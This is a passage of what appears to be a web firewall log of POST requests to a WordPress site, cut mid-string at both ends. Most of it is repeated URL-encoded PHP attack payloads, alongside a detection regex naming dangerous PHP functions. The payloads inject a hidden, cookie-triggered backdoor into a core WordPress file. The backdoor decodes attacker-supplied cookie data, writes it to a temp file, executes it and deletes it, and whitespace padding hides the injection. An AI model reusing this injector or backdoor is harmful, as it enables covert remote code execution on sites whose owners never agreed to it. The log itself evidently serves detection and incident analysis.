_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:33","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-length:4398\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nZH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:34","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:4398\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\ntm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:36","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4398\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nJz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540ar